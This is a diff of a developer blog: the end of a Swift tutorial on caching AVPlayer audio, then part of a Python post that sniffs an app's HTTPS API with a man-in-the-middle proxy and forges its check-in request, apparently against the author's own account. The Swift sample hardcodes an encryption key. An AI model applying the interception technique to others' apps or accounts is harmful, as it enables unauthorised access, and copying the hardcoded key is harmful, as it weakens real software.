+    override init(url URL: URL, options: [String: Any]? = nil) {
+        self.originalURL = URL
+        
+        guard var components = URLComponents(url: URL, resolvingAgainstBaseURL: false) else {
+            super.init(url: URL, options: options)
+            return
+        }
+        
+        components.scheme = CachingAVURLAsset.customScheme
+        guard let url = components.url else {
+            super.init(url: URL, options: options)
+            return
+        }
+        
+        super.init(url: url, options: options)
+        
+        let resourceLoader = ResourceLoader(asset: self)
+        self.resourceLoader.setDelegate(resourceLoader, queue: resourceLoader.loaderQueue)
+        self._resourceLoader = resourceLoader
+    }
+}
+

Usage:

1
+2
+3
+4
+5
+
if CachingAVURLAsset.isSchemeSupport(url) {
+  let asset = CachingAVURLAsset(url: url)
+  let avplayer = AVPlayer(asset)
+  avplayer.play()
+}
+

Where isSchemeSupport() is used to determine if the URL supports our Resource Loader (excluding file://).

originalURL stores the original resource URL.

cacheKey stores the Cache Key for this resource, here we directly use the file name as the Cache Key.

Please adjust cacheKey according to real-world scenarios. If the file name is not hashed and may be duplicated, it is recommended to hash it first to avoid collisions; if you want to hash the entire URL as the key, also pay attention to whether the URL will change (e.g., using CDN).

Hashing can use md5…sha… iOS ≥ 13 can directly use Apple’s CryptoKit, for others, check Github!

ResourceLoaderRequest

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+
import Foundation
+import CoreServices
+
+protocol ResourceLoaderRequestDelegate: AnyObject {
+    func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data)
+    func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data)
+    func contentInformationDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ result: Result<AssetDataContentInformation, Error>)
+}
+
+class ResourceLoaderRequest: NSObject, URLSessionDataDelegate {
+    struct RequestRange {
+        var start: Int64
+        var end: RequestRangeEnd
+        
+        enum RequestRangeEnd {
+            case requestTo(Int64)
+            case requestToEnd
+        }
+    }
+    
+    enum RequestType {
+        case contentInformation
+        case dataRequest
+    }
+    
+    struct ResponseUnExpectedError: Error { }
+    
+    private let loaderQueue: DispatchQueue
+    
+    let originalURL: URL
+    let type: RequestType
+    
+    private var session: URLSession?
+    private var dataTask: URLSessionDataTask?
+    private var assetDataManager: AssetDataManager?
+    
+    private(set) var requestRange: RequestRange?
+    private(set) var response: URLResponse?
+    private(set) var downloadedData: Data = Data()
+    
+    private(set) var isCancelled: Bool = false {
+        didSet {
+            if isCancelled {
+                self.dataTask?.cancel()
+                self.session?.invalidateAndCancel()
+            }
+        }
+    }
+    private(set) var isFinished: Bool = false {
+        didSet {
+            if isFinished {
+                self.session?.finishTasksAndInvalidate()
+            }
+        }
+    }
+    
+    weak var delegate: ResourceLoaderRequestDelegate?
+    
+    init(originalURL: URL, type: RequestType, loaderQueue: DispatchQueue, assetDataManager: AssetDataManager?) {
+        self.originalURL = originalURL
+        self.type = type
+        self.loaderQueue = loaderQueue
+        self.assetDataManager = assetDataManager
+        super.init()
+    }
+    
+    func start(requestRange: RequestRange) {
+        guard isCancelled == false, isFinished == false else {
+            return
+        }
+        
+        self.loaderQueue.async { [weak self] in
+            guard let self = self else {
+                return
+            }
+            
+            var request = URLRequest(url: self.originalURL)
+            self.requestRange = requestRange
+            let start = String(requestRange.start)
+            let end: String
+            switch requestRange.end {
+            case .requestTo(let rangeEnd):
+                end = String(rangeEnd)
+            case .requestToEnd:
+                end = ""
+            }
+            
+            let rangeHeader = "bytes=\(start)-\(end)"
+            request.setValue(rangeHeader, forHTTPHeaderField: "Range")
+            
+            let session = URLSession(configuration: .default, delegate: self, delegateQueue: nil)
+            self.session = session
+            let dataTask = session.dataTask(with: request)
+            self.dataTask = dataTask
+            dataTask.resume()
+        }
+    }
+    
+    func cancel() {
+        self.isCancelled = true
+    }
+    
+    func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data) {
+        guard self.type == .dataRequest else {
+            return
+        }
+        
+        self.loaderQueue.async {
+            self.delegate?.dataRequestDidReceive(self, data)
+            self.downloadedData.append(data)
+        }
+    }
+    
+    func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void) {
+        self.response = response
+        completionHandler(.allow)
+    }
+    
+    func urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?) {
+        self.isFinished = true
+        self.loaderQueue.async {
+            if self.type == .contentInformation {
+                guard error == nil,
+                      let response = self.response as? HTTPURLResponse else {
+                    let responseError = error ?? ResponseUnExpectedError()
+                    self.delegate?.contentInformationDidComplete(self, .failure(responseError))
+                    return
+                }
+                
+                let contentInformation = AssetDataContentInformation()
+                
+                if let rangeString = response.allHeaderFields["Content-Range"] as? String,
+                   let bytesString = rangeString.split(separator: "/").map({String($0)}).last,
+                   let bytes = Int64(bytesString) {
+                    contentInformation.contentLength = bytes
+                }
+                
+                if let mimeType = response.mimeType,
+                   let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() {
+                    contentInformation.contentType = contentType as String
+                }
+                
+                if let value = response.allHeaderFields["Accept-Ranges"] as? String,
+                   value == "bytes" {
+                    contentInformation.isByteRangeAccessSupported = true
+                } else {
+                    contentInformation.isByteRangeAccessSupported = false
+                }
+                
+                self.assetDataManager?.saveContentInformation(contentInformation)
+                self.delegate?.contentInformationDidComplete(self, .success(contentInformation))
+            } else {
+                if let offset = self.requestRange?.start, self.downloadedData.count > 0 {
+                    self.assetDataManager?.saveDownloadedData(self.downloadedData, offset: Int(offset))
+                }
+                self.delegate?.dataRequestDidComplete(self, error, self.downloadedData)
+            }
+        }
+    }
+}
+

Encapsulation for Remote Request, mainly for data requests initiated by ResourceLoader.

RequestType: Used to distinguish whether this Request is the first request for file information (contentInformation) or a data request (dataRequest).

RequestRange: Request Range scope, end can specify to where (requestTo(Int64)) or all (requestToEnd).

File information can be obtained from:

func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void)
+

Get the Response Header from it. Additionally, note that if you want to change to HEAD, it won’t enter here; you need to use other methods to receive it.

  • isByteRangeAccessSupported: Check Accept-Ranges == bytes in the Response Header.
  • contentType: The file type information required by the player, formatted as a Uniform Type Identifier, not audio/mpeg, but written as public.mp3.
  • contentLength: Check Content-Range in the Response Header: bytes 0–1/ total length of the resource.

⚠️ Note that the format given by the server may vary in case sensitivity. It may not be written as Accept-Ranges/Content-Range; some servers use lowercase accept-ranges, Accept-ranges…

Supplement: If you need to consider case sensitivity, you can write an HTTPURLResponse Extension

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+
import CoreServices
+
+extension HTTPURLResponse {
+    func parseContentLengthFromContentRange() -> Int64? {
+        let contentRangeKeys: [String] = [
+            "Content-Range",
+            "content-range",
+            "Content-range",
+            "content-Range"
+        ]
+        
+        var rangeString: String?
+        for key in contentRangeKeys {
+            if let value = self.allHeaderFields[key] as? String {
+                rangeString = value
+                break
+            }
+        }
+        
+        guard let rangeString = rangeString,
+              let contentLengthString = rangeString.split(separator: "/").map({String($0)}).last,
+              let contentLength = Int64(contentLengthString) else {
+            return nil
+        }
+        
+        return contentLength
+    }
+    
+    func parseAcceptRanges() -> Bool? {
+        let contentRangeKeys: [String] = [
+            "Accept-Ranges",
+            "accept-ranges",
+            "Accept-ranges",
+            "accept-Ranges"
+        ]
+        
+        var rangeString: String?
+        for key in contentRangeKeys {
+            if let value = self.allHeaderFields[key] as? String {
+                rangeString = value
+                break
+            }
+        }
+        
+        guard let rangeString = rangeString else {
+            return nil
+        }
+        
+        return rangeString == "bytes" || rangeString == "Bytes"
+    }
+    
+    func mimeTypeUTI() -> String? {
+        guard let mimeType = self.mimeType,
+           let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() else {
+            return nil
+        }
+        
+        return contentType as String
+    }
+}
+

Usage:

  • contentLength = response.parseContentLengthFromContentRange()
  • isByteRangeAccessSupported = response.parseAcceptRanges()
  • contentType = response.mimeTypeUTI()
1
+
func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data)
+

As mentioned in the preliminary knowledge, the downloaded data will be obtained in real-time, so this method will keep getting called, receiving Data in fragments; we will append it to downloadedData for storage.

1
+
func urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?)
+

This method is called when the task is canceled or completed, where the downloaded data will be saved.

As mentioned in the preliminary knowledge about the Cancel mechanism, since the player will initiate a Cancel Request after obtaining enough data, when this method is called, the actual error = NSURLErrorCancelled will be received. Therefore, regardless of the error, we will try to save the data if we have received it.

⚠️ Since URLSession requests data concurrently, please ensure all operations are performed within DispatchQueue to avoid data corruption (data corruption can also result in playback issues).

⚠️ If URLSession does not call finishTasksAndInvalidate or invalidateAndCancel, it will strongly retain objects, causing a Memory Leak. Therefore, whether canceling or completing, we must call these methods to release the Request when the task ends.

⚠️ If you are concerned about downloadedData causing OOM, you can save it locally in didReceive Data.

ResourceLoader

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+
import AVFoundation
+import Foundation
+
+class ResourceLoader: NSObject {
+    
+    let loaderQueue = DispatchQueue(label: "li.zhgchg.resourceLoader.queue")
+    
+    private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:]
+    private let cacheKey: String
+    private let originalURL: URL
+    
+    init(asset: CachingAVURLAsset) {
+        self.cacheKey = asset.cacheKey
+        self.originalURL = asset.originalURL
+        super.init()
+    }
+
+    deinit {
+        self.requests.forEach { (request) in
+            request.value.cancel()
+        }
+    }
+}
+
+extension ResourceLoader: AVAssetResourceLoaderDelegate {
+    func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool {
+        
+        let type = ResourceLoader.resourceLoaderRequestType(loadingRequest)
+        let assetDataManager = PINCacheAssetDataManager(cacheKey: self.cacheKey)
+
+        if let assetData = assetDataManager.retrieveAssetData() {
+            if type == .contentInformation {
+                loadingRequest.contentInformationRequest?.contentLength = assetData.contentInformation.contentLength
+                loadingRequest.contentInformationRequest?.contentType = assetData.contentInformation.contentType
+                loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = assetData.contentInformation.isByteRangeAccessSupported
+                loadingRequest.finishLoading()
+                return true
+            } else {
+                let range = ResourceLoader.resourceLoaderRequestRange(type, loadingRequest)
+                if assetData.mediaData.count > 0 {
+                    let end: Int64
+                    switch range.end {
+                    case .requestTo(let rangeEnd):
+                        end = rangeEnd
+                    case .requestToEnd:
+                        end = assetData.contentInformation.contentLength
+                    }
+                    
+                    if assetData.mediaData.count >= end {
+                        let subData = assetData.mediaData.subdata(in: Int(range.start)..<Int(end))
+                        loadingRequest.dataRequest?.respond(with: subData)
+                        loadingRequest.finishLoading()
+                       return true
+                    } else if range.start <= assetData.mediaData.count {
+                        // has cache data...but not enough
+                        let subEnd = (assetData.mediaData.count > end) ? Int((end)) : (assetData.mediaData.count)
+                        let subData = assetData.mediaData.subdata(in: Int(range.start)..<subEnd)
+                        loadingRequest.dataRequest?.respond(with: subData)
+                    }
+                }
+            }
+        }
+        
+        let range = ResourceLoader.resourceLoaderRequestRange(type, loadingRequest)
+        let resourceLoaderRequest = ResourceLoaderRequest(originalURL: self.originalURL, type: type, loaderQueue: self.loaderQueue, assetDataManager: assetDataManager)
+        resourceLoaderRequest.delegate = self
+        self.requests[loadingRequest]?.cancel()
+        self.requests[loadingRequest] = resourceLoaderRequest
+        resourceLoaderRequest.start(requestRange: range)
+        
+        return true
+    }
+    
+    func resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest) {
+        guard let resourceLoaderRequest = self.requests[loadingRequest] else {
+            return
+        }
+        
+        resourceLoaderRequest.cancel()
+        requests.removeValue(forKey: loadingRequest)
+    }
+}
+
+extension ResourceLoader: ResourceLoaderRequestDelegate {
+    func contentInformationDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ result: Result<AssetDataContentInformation, Error>) {
+        guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else {
+            return
+        }
+        
+        switch result {
+        case .success(let contentInformation):
+            loadingRequest.contentInformationRequest?.contentType = contentInformation.contentType
+            loadingRequest.contentInformationRequest?.contentLength = contentInformation.contentLength
+            loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = contentInformation.isByteRangeAccessSupported
+            loadingRequest.finishLoading()
+        case .failure(let error):
+            loadingRequest.finishLoading(with: error)
+        }
+    }
+    
+    func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data) {
+        guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else {
+            return
+        }
+        
+        loadingRequest.dataRequest?.respond(with: data)
+    }
+    
+    func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data) {
+        guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else {
+            return
+        }
+        
+        loadingRequest.finishLoading(with: error)
+        requests.removeValue(forKey: loadingRequest)
+    }
+}
+
+extension ResourceLoader {
+    static func resourceLoaderRequestType(_ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestType {
+        if let _ = loadingRequest.contentInformationRequest {
+            return .contentInformation
+        } else {
+            return .dataRequest
+        }
+    }
+    
+    static func resourceLoaderRequestRange(_ type: ResourceLoaderRequest.RequestType, _ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestRange {
+        if type == .contentInformation {
+            return ResourceLoaderRequest.RequestRange(start: 0, end: .requestTo(1))
+        } else {
+            if loadingRequest.dataRequest?.requestsAllDataToEndOfResource == true {
+                let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0
+                return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestToEnd)
+            } else {
+                let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0
+                let length = Int64(loadingRequest.dataRequest?.requestedLength ?? 1)
+                let upperBound = lowerBound + length
+                return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestTo(upperBound))
+            }
+        }
+    }
+}
+

loadingRequest.contentInformationRequest != nil indicates the first request, where the player asks for file information.

When requesting file information, we need to provide these three pieces of information:

  • loadingRequest.contentInformationRequest?.isByteRangeAccessSupported: Whether Range access to Data is supported
  • loadingRequest.contentInformationRequest?.contentType: Uniform type identifier
  • loadingRequest.contentInformationRequest?.contentLength: Total file length Int64

loadingRequest.dataRequest?.requestedOffset can get the starting offset of the requested Range.

loadingRequest.dataRequest?.requestedLength can get the length of the requested Range.

loadingRequest.dataRequest?.requestsAllDataToEndOfResource == true means that regardless of the requested Range length, it will fetch until the end.

loadingRequest.dataRequest?.respond(with: Data) returns the loaded Data to the player.

loadingRequest.dataRequest?.currentOffset can get the current data offset, and dataRequest?.respond(with: Data) will shift the currentOffset.

loadingRequest.finishLoading() indicates that all data has been loaded and informs the player.

1
+
func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool
+

When the player requests data, we first check if there is data in the local Cache. If there is, we return it; if only part of the data is available, we return that part. For example, if we have 0–100 locally and the player requests 0–200, we return 0–100 first.

If there is no local Cache or the returned data is insufficient, a ResourceLoaderRequest will be initiated to fetch data from the network.

1
+
func resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest)
+

The player cancels the request, canceling the ResourceLoaderRequest.

You might have noticed resourceLoaderRequestRange offset is based on currentOffset because we first load the downloaded Data from the local dataRequest?.respond(with: Data); so we can directly look at the shifted offset.

1
+
func private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:]
+

⚠️ Some examples use currentRequest: ResourceLoaderRequest to store requests, which can be problematic. If the current request is fetching data and the user seeks, the old request will be canceled and a new one initiated. Since these actions may not occur in order, using a Dictionary for storage and operations is safer!

⚠️ Ensure all operations are on the same DispatchQueue to prevent data inconsistencies.

Cancel all ongoing requests during deinit Resource Loader Deinit indicates AVURLAsset Deinit, meaning the player no longer needs this resource. Therefore, we can cancel ongoing Requests, and the already loaded data will still be written to Cache.

Supplement and Acknowledgments

Thanks to Lex 汤 for the guidance.

Thanks to 外孫女 for providing development advice and support.

This article is only for small music files

Large video files may encounter Out Of Memory issues in downloadedData, AssetData/PINCacheAssetDataManager.

As mentioned earlier, to solve this problem, use fileHandler seek read/write to operate local Cache read/write (replacing AssetData/PINCacheAssetDataManager); or look for projects on Github that handle large data write/read to file.

Cancel downloading items when switching playback items in AVQueuePlayer

As stated in the preliminary knowledge, changing the playback target will not trigger a Cancel; if it is AVPlayer, it will go through AVURLAsset Deinit, so the download will also be interrupted; but AVQueuePlayer will not, because it is still in the Queue, only the playback target has switched to the next one.

The only way here is to receive the notification of changing the playback target, and then cancel the loading of the previous AVURLAsset after receiving the notification.

1
+
asset.cancelLoading()
+

Audio data encryption and decryption

Audio encryption and decryption can be performed in ResourceLoaderRequest when obtaining Data, and when storing, encryption and decryption can be performed on the Data stored locally in the encode/decode of AssetData.

CryptoKit SHA usage example:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+
class AssetData: NSObject, NSCoding {
+    static let encryptionKeyString = "encryptionKeyExzhgchgli"
+    ...
+    func encode(with coder: NSCoder) {
+        coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation))
+        
+        if #available(iOS 13.0, *),
+           let encryptionData = try? ChaChaPoly.seal(self.mediaData, using: AssetData.encryptionKey).combined {
+            coder.encode(encryptionData, forKey: #keyPath(AssetData.mediaData))
+        } else {
+          //
+        }
+    }
+    
+    required init?(coder: NSCoder) {
+        super.init()
+        ...
+        if let mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data {
+            if #available(iOS 13.0, *),
+               let sealedBox = try? ChaChaPoly.SealedBox(combined: mediaData),
+               let decryptedData = try? ChaChaPoly.open(sealedBox, using: AssetData.encryptionKey) {
+                self.mediaData = decryptedData
+            } else {
+              //
+            }
+        } else {
+            //
+        }
+    }
+}
+

PINCache includes PINMemoryCache and PINDiskCache. PINCache will handle reading from file to Memory or writing from Memory to file for us. We only need to operate on PINCache.

To find the Cache file location in the simulator:

Use NSHomeDirectory() to get the simulator file path

Finder -> Go -> Paste the path

In Library -> Caches -> com.pinterest.PINDiskCache.ResourceLoader is the Resource Loader Cache directory we created.

PINCache(name: “ResourceLoader”) where the name is the directory name.

You can also specify the rootPath, and the directory can be moved under Documents (not afraid of being cleared by the system).

Set the maximum limit for PINCache:

1
+2
+
 PINCacheAssetDataManager.Cache.diskCache.byteCount = 300 * 1024 * 1024 // max: 300mb
+ PINCacheAssetDataManager.Cache.diskCache.byteLimit = 90 * 60 * 60 * 24 // 90 days
+

System default limit

System default limit

Setting it to 0 will not proactively delete files.

Postscript

Initially underestimated the difficulty of this feature, thinking it could be handled quickly; ended up struggling and spent about two more weeks dealing with data storage issues. However, I thoroughly understood the entire Resource Loader operation mechanism, GCD, and Data.

References

Finally, here are the references for how to implement it:

  1. iOS AVPlayer 视频缓存的设计与实现 Only explains the principle
  2. 基于AVPlayer实现音视频播放和缓存,支持视频画面的同步输出 [ SZAVPlayer ] Includes code (very complete but complex)
  3. CachingPlayerItem (Simple implementation, easier to understand but not complete)
  4. 可能是目前最好的 AVPlayer 音视频缓存方案 AVAssetResourceLoaderDelegate
  5. 仿抖音 Swift 版 [ Github ] (Interesting project, a replica of the Douyin APP; also uses Resource Loader)
  6. iOS HLS Cache 實踐方法探究之旅

Extension

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

AVPlayer Real-time Cache Implementation

iOS Cross-Platform Account and Password Integration to Enhance Login Experience

diff --git a/posts/70a1409b149a/index.html b/posts/70a1409b149a/index.html new file mode 100644 index 0000000000..a52b0117a9 --- /dev/null +++ b/posts/70a1409b149a/index.html @@ -0,0 +1,209 @@ + Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks | ZhgChgLi
Home Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks
Post
Cancel

Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks

Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks

Creating a daily automatic check-in script using a check-in reward app as an example

Photo by [Paweł Czerwiński](https://unsplash.com/@pawel_czerwinski?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Paweł Czerwiński

Origin

I have always had the habit of using Python to create small tools; some are serious, like automatically crawling data and generating reports for work, and some are less serious, like scheduling automatic checks for desired information or delegating tasks that would otherwise be done manually to scripts.

When it comes to automation, I have always been quite straightforward, setting up a computer to run Python scripts continuously; the advantage is simplicity and convenience, but the downside is the need for a device connected to the internet and power. Even a Raspberry Pi consumes a small amount of electricity and internet costs, and it cannot be remotely controlled to start or stop (it actually can, but it’s cumbersome). This time, I took advantage of a work break to explore a free & cloud-based method.

Goal

Move the Python script to the cloud for execution, schedule it to run automatically, and enable it to be started/stopped via the internet.

This article uses a script I wrote for a check-in reward app as an example. The script automatically checks in daily, so I don’t have to open the app manually; it also sends me a notification upon completion.

Completion Notification!

Completion Notification!

Sections in this Article

  1. Using Proxyman for Man in the Middle Attack API Sniffing
  2. Writing a Python script to fake app API requests (simulate check-in actions)
  3. Moving the Python script to Google Cloud
  4. Setting up automatic scheduling on Google Cloud
  • Due to the sensitive nature of this topic, this article will not disclose which check-in reward app is used. You can extend this method to your own use.
  • If you are only interested in how to automate Python execution, you can skip the first part about Man in the Middle Attack API Sniffing and start from Chapter 3.

Tools Used

  • Proxyman: Man in the Middle Attack API Sniffing
  • Python: Writing the script
  • Linebot: Sending notifications of script execution results to myself
  • Google Cloud Function: Hosting the Python script
  • Google Cloud Scheduler: Automatic scheduling service

1. Using Proxyman for Man in the Middle Attack API Sniffing

I previously wrote an article titled “The app uses HTTPS for transmission, but the data was still stolen.” The principle is similar, but this time I used Proxyman instead of mitmproxy; it’s also free but more user-friendly.

  • Go to the official website https://proxyman.io/ to download the Proxyman tool
  • After downloading, start Proxyman and install the Root certificate (to perform Man in the Middle Attack and unpack HTTPS traffic content)

“Certificate” -> “Install Certificate On this Mac” -> “Installed & Trusted”

After installing the Root certificate on the computer, switch to the mobile:

“Certificate” -> “Install Certificate On iOS” -> “Physical Devices…”

Follow the instructions to set up the Proxy on your mobile and complete the certificate installation and activation.

  • Open the app on your mobile that you want to sniff the API transmission content for.

At this point, Proxyman on the Mac will show the sniffed traffic. Click on the app API domain under the device IP that you want to view; the first time you view it, you need to click “Enable only this domain” for the subsequent traffic to be unpacked.

After “Enable only this domain,” you will see the newly intercepted traffic showing the original Request and Response information:

We use this method to sniff which API EndPoint is called and what data is sent when performing a check-in operation on the app. Record this information and use Python to simulate the request later.

⚠️ Note that some app token information may change, causing the Python simulated request to fail in the future. You need to understand more about the app token exchange method.

⚠️ If Proxyman is confirmed to be working properly, but the app cannot make requests when Proxyman is enabled, it means the app may have SSL Pinning; currently, there is no solution, and you have to give up.

⚠️ App developers who want to know how to prevent sniffing can refer to the previous article.

Assuming we obtained the following information:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
POST /usercenter HTTP/1.1
+Host: zhgchg.li
+Content-Type: application/x-www-form-urlencoded
+Cookie: PHPSESSID=dafd27784f94904dd586d4ca19d8ae62
+Connection: keep-alive
+Accept: */*
+User-Agent: (iPhone12,3;iOS 14.5)
+Content-Length: 1076
+Accept-Language: zh-tw
+Accept-Encoding: gzip, deflate, br
+AuthToken: 12345
+

2. Write a Python script to forge the app API request (simulate the check-in action)

Before writing the Python script, we can first use Postman to debug the parameters and see which parameters are necessary or change over time; but you can also directly copy them.

checkIn.py:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
import requests
+import json
+
+def main(args):
+    results = {}
+    try:
+      data = { "action" : "checkIn" }
+      headers = { "Cookie" : "PHPSESSID=dafd27784f94904dd586d4ca19d8ae62", 
+      "AuthToken" : "12345",
+      "User-Agent" : "(iPhone12,3;iOS 14.5)"
+      }
+      
+      request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers)
+      result = json.loads(request.content)
+      if result['status_code'] == 200:
+        return "CheckIn Success!"
+      else:
+        return result['message']
+    except Exception as e:
+      return str(e)
+

⚠️ main(args) The purpose of args will be explained later. If you want to test locally, just use main(True).

Using the Requests library to execute HTTP Requests, if you encounter:

1
+
ImportError: No module named requests
+

Please install the library using pip install requests.

Adding Linebot notification for execution results:

I made this part very simple, just for reference, and only to notify myself.

  • Select “Create a Messaging API channel”

Fill in the basic information in the next step and click “Create” to submit.

  • After creation, find the “Your user ID” section under the first “Basic settings” Tab. This is your User ID.

  • After creation, select the “Messaging API” Tab, scan the QRCode to add the bot as a friend.

  • Scroll down to find the “Channel access token” section, click “Issue” to generate a token.

  • Copy the generated Token. With this Token, we can send messages to users.

With the User ID and Token, we can send messages to ourselves.

Since we don’t need other functionalities, we don’t even need to install the python line sdk, just send HTTP requests directly.

After integrating with the previous Python script…

checkIn.py:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+
import requests
+import json
+
+def main(args):
+    results = {}
+    try:
+      data = { "action" : "checkIn" }
+      headers = { "Cookie" : "PHPSESSID=dafd27784f94904dd586d4ca19d8ae62", 
+      "AuthToken" : "12345",
+      "User-Agent" : "(iPhone12,3;iOS 14.5)"
+      }
+      
+      request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers)
+      result = json.loads(request.content)
+      if result['status_code'] == 200:
+        sendLineNotification("CheckIn Success!")
+        return "CheckIn Success!"
+      else:
+        sendLineNotification(result['message'])
+        return result['message']
+    except Exception as e:
+      sendLineNotification(str(e))
+      return str(e)
+      
+def sendLineNotification(message):
+    data = {
+        "to" : "Your User ID here",
+        "messages" : [
+            {
+                "type" : "text",
+                "text" : message
+            }
+        ]
+    }
+    headers = {
+        "Content-Type" : "application/json",
+        "Authorization" : "Your channel access token here"
+    }
+    request = requests.post('https://api.line.me/v2/bot/message/push',json = data, headers = headers)
+

Test if the notification was sent successfully:

Success!

A small note, I originally wanted to use Gmail SMTP to send emails for notifications, but after uploading to Google Cloud, I found it couldn’t be used…

3. Move the Python script to Google Cloud

After covering the basics, let’s get to the main event of this article: moving the Python script to the cloud.

Initially, I aimed for Google Cloud Run but found it too complicated and didn’t want to spend time researching it because my needs are minimal and don’t require so many features. So, I used Google Cloud Function, a serverless solution; it’s more commonly used to build serverless web services.

  • If you haven’t used Google Cloud before, please go to the Console to create a new project and set up billing information.
  • On the project console homepage, click “Cloud Functions” in the resources section.

  • Select “Create Function” at the top.

  • Enter basic information.

⚠️ Note down the “ Trigger URL

Region options:

  • US-WEST1, US-CENTRAL1, US-EAST1 can enjoy free Cloud Storage service quotas.
  • asia-east2 (Hong Kong) is closer to us but requires a small Cloud Storage fee.

⚠️ Creating Cloud Functions requires Cloud Storage to store the code.

⚠️ For detailed pricing, please refer to the end of the article.

Trigger type: HTTP

